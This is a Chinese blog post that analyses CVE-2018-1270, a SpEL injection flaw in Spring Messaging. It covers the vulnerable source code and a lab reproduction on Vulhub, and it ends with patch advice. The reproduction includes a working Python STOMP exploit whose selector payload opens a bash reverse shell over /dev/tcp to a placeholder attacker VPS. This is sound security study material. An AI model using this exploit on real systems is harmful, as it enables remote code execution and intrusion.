CVE-2018-1270源码分析与漏洞复现(spring-messaging 表达式注入)

发布于:2025-05-22 ⋅ 阅读:(21) ⋅ 点赞:(0)

漏洞概述

CVE-2018-1270 是 Spring 框架中的一个高危远程代码执行(RCE)漏洞,影响版本为 Spring Framework 5.0–5.0.44.3–4.3.14。攻击者通过构造包含恶意 SpEL(Spring Expression Language)表达式的 STOMP(Simple Text-Orientated Messaging Protocol)消息,利用 Spring Messaging 模块的路径解析缺陷,触发任意代码执行。该漏洞的 核心问题在于 SpEL 表达式解析时使用了高权限的上下文环境。


技术细节分析

1. 漏洞成因
  • SpEL 表达式注入
    Spring Messaging 在处理 STOMP 消息的 selector 头部时,直接将用户输入的值作为 SpEL 表达式解析。攻击者可通过构造形如 T(java.lang.Runtime).exec("calc") 的恶意表达式注入到 selector 字段,触发远程代码执行。
  • 高危上下文配置
    漏洞版本的 DefaultSubscriptionRegistry 类使用 StandardEvaluationContext 解析表达式,该上下文允许完全访问 Java 类和方法(包括反射操作)。修复后改用 SimpleEvaluationContext,仅支持基础数据绑定,限制危险操作。
2. 漏洞触发流程
  1. 建立 WebSocket 连接:客户端通过 SockJS 与服务器建立 WebSocket 连接,并在 CONNECT 帧的 headers 中注入恶意 selector 字段。
  2. 订阅消息:发送 SUBSCRIBE 帧时,服务端将 selector 值解析为 SpEL 表达式并存储到会话中。
  3. 触发执行:当客户端发送 SEND 帧时,服务端调用 filterSubscriptions 方法对消息进行过滤,执行存储的表达式,触发代码执行。

2.源码分析
漏洞入口点:addSubscriptionInternal 方法

代码定位
org.springframework.messaging.simp.broker.DefaultSubscriptionRegistry#addSubscriptionInternal

源码:

protected void addSubscriptionInternal(String sessionId, String subsId, String destination, Message<?> message) {
     Expression expression = null;
     MessageHeaders headers = message.getHeaders();
     String selector = SimpMessageHeaderAccessor.getFirstNativeHeader(getSelectorHeaderName(), (Map)headers);
     if (selector != null) {
       try {
         expression = this.expressionParser.parseExpression(selector);//解析表达式
         this.selectorHeaderInUse = true;
         if (this.logger.isTraceEnabled()) {
           this.logger.trace("Subscription selector: [" + selector + "]");
         }
       }
       catch (Throwable ex) {
         if (this.logger.isDebugEnabled()) {
           this.logger.debug("Failed to parse selector: " + selector, ex);
         }
       } 
     }
     this.subscriptionRegistry.addSubscription(sessionId, subsId, destination, expression);//将表达式存储到会话中。
     this.destinationCache.updateAfterNewSubscription(destination, sessionId, subsId);
   }

触发条件
当客户端通过 STOMP 协议向服务端发送 SUBSCRIBE 帧时,服务端处理订阅请求的逻辑会调用此方法。

关键逻辑

  1. 从客户端请求头中提取 selector 字段的值。
  2. selector 的值作为 SpEL 表达式进行解析:
    expression = this.expressionParser.parseExpression(selector);
    
  3. 将解析后的表达式与订阅信息(会话 ID、订阅 ID、目标地址)一起存储到内存中:
    this.subscriptionRegistry.addSubscription(sessionId, subsId, destination, expression);
    

漏洞入口特性

  • 用户可控输入selector 字段完全由攻击者构造(如 T(java.lang.Runtime).exec("calc"))。
  • 高危上下文:使用 StandardEvaluationContext(默认支持反射、类加载等危险操作)。
  • 无过滤机制:未对 selector 进行任何合法性校验或关键字过滤。

表达式执行点:filterSubscriptions 方法

代码定位
org.springframework.messaging.simp.broker.DefaultSubscriptionRegistry#filterSubscriptions

源码:

private MultiValueMap<String, String> filterSubscriptions(MultiValueMap<String, String> allMatches, Message<?> message) {
     if (!this.selectorHeaderInUse) {
       return allMatches;
     }
     EvaluationContext context = null;
     LinkedMultiValueMap linkedMultiValueMap = new LinkedMultiValueMap(allMatches.size());
     for (String sessionId : allMatches.keySet()) {
       for (String subId : allMatches.get(sessionId)) {
         StandardEvaluationContext standardEvaluationContext; SessionSubscriptionInfo info = this.subscriptionRegistry.getSubscriptions(sessionId);
         if (info == null) {
           continue;
         }
         Subscription sub = info.getSubscription(subId);
         if (sub == null) {
           continue;
         }
         Expression expression = sub.getSelectorExpression();//获取表达式
         if (expression == null) {
           linkedMultiValueMap.add(sessionId, subId);
           continue;
         } 
         if (context == null) {
           standardEvaluationContext = new StandardEvaluationContext(message);//执行表达式
           standardEvaluationContext.getPropertyAccessors().add(new SimpMessageHeaderPropertyAccessor());
         } 
         try {
          if (Boolean.TRUE.equals(expression.getValue((EvaluationContext)standardEvaluationContext, Boolean.class))) {
             linkedMultiValueMap.add(sessionId, subId);
           }
         }
         catch (SpelEvaluationException ex) {
           if (this.logger.isDebugEnabled()) {
             this.logger.debug("Failed to evaluate selector: " + ex.getMessage());
           }
         }
         catch (Throwable ex) {
           this.logger.debug("Failed to evaluate selector", ex);
         } 
       } 
     } 
     return (MultiValueMap<String, String>)linkedMultiValueMap;
   }

触发条件
当服务端收到 SEND 帧(即向订阅目标地址发送消息)时,服务端会遍历所有订阅该地址的客户端,并根据其订阅时指定的 selector 表达式进行消息过滤。

关键逻辑

  1. 从订阅信息中获取存储的 SpEL 表达式。
  2. 使用 StandardEvaluationContext 执行表达式:
    standardEvaluationContext = new StandardEvaluationContext(message);
    

漏洞触发特性

  • 表达式动态执行:存储的恶意表达式在此处被实际执行。
  • 上下文绑定消息对象EvaluationContext 绑定了当前消息对象(message),为攻击者提供更多利用可能。

方法关系与漏洞触发流程

1. 依赖关系

  • 时序依赖
    addSubscriptionInternal 是前置操作(订阅阶段),filterSubscriptions 是后续操作。
    漏洞利用必须通过 先订阅后发送消息 的流程完成。

  • 数据依赖
    filterSubscriptions 中执行的表达式来源于 addSubscriptionInternal 阶段存储的 expression 对象。

2. 攻击链时序

客户端发送 SUBSCRIBE 帧(携带恶意 selector)
  → addSubscriptionInternal 解析并存储表达式
  → 服务端收到 SEND 帧
  → filterSubscriptions 执行存储的表达式
  → 触发 RCE

漏洞复现

环境搭建

使用 Vulhub 提供的 Docker 环境:

cd vulhub/spring/CVE-2018-1270
docker-compose up -d

在这里插入图片描述
访问 http://target:8080 启动存在漏洞的 Spring STOMP 示例。
在这里插入图片描述

攻击步骤(反弹shell)
1.kali攻击机开启监听

在这里插入图片描述

2.使用python脚本发送恶意请求
import requests
import random
import string
import time
import threading
import logging
import sys
import json

logging.basicConfig(stream=sys.stdout, level=logging.INFO)


def random_str(length):
    letters = string.ascii_lowercase + string.digits
    return ''.join(random.choice(letters) for c in range(length))


class SockJS(threading.Thread):
    def __init__(self, url, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
        self.daemon = True
        self.session = requests.session()
        self.session.headers = {
            'Referer': url,
            'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
        }
        self.t = int(time.time() * 1000)

    def run(self):
        url = f'{self.base}/htmlfile?c=_jp.vulhub'
        response = self.session.get(url, stream=True)
        for line in response.iter_lines():
            time.sleep(0.5)

    def send(self, command, headers, body=''):
        data = [command.upper(), '\n']

        data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))

        data.append('\n\n')
        data.append(body)
        data.append('\x00')
        data = json.dumps([''.join(data)])

        response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
        if response.status_code != 204:
            logging.info(f"send '{command}' data error.")
        else:
            logging.info(f"send '{command}' data success.")

    def __del__(self):
        self.session.close()


sockjs = SockJS('http://靶场ip:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)

sockjs.send('connect', {
    'accept-version': '1.1,1.0',
    'heart-beat': '10000,10000'
})
sockjs.send('subscribe', {
    'selector': 'T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/vps的ip/vps端口;cat <&5 | while read line; do $line 2>&5 >&5; done"})',
    'id': 'sub-0',
    'destination': '/topic/greetings'
})

data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {
    'content-length': len(data),
    'destination': '/app/hello'
}, data)

靶场ip和监听地址和端口改为自己的

在这里插入图片描述

3.执行脚本并验证

在这里插入图片描述

  • 反弹shell成功
    在这里插入图片描述

修复建议

  1. 升级版本
    • Spring Framework 5.0.x 用户升级至 5.0.5
    • Spring Framework 4.3.x 用户升级至 4.3.15 或更高版本。
  2. 输入过滤
    selector 头部进行正则校验,禁止包含 T(). 等 SpEL 关键字。
  3. 禁用高风险功能
    若非必要,关闭基于 STOMP 的消息路由功能。

总结

CVE-2018-1270 的根源在于 Spring Messaging 对用户输入的过度信任与高危上下文的结合。其修复方案通过限制表达式执行权限,有效降低了攻击面。


参考链接

  1. Spring 官方公告(CVE-2018-1270)
  2. 360-CERT 漏洞分析报告
  3. Vulhub 复现环境
  4. 腾讯云技术分析
  5. CSDN 漏洞复现详解
  6. CVE-2018-1270-Spring Messaging RCE漏洞复现

网站公告

今日签到

点亮在社区的每一天
去签到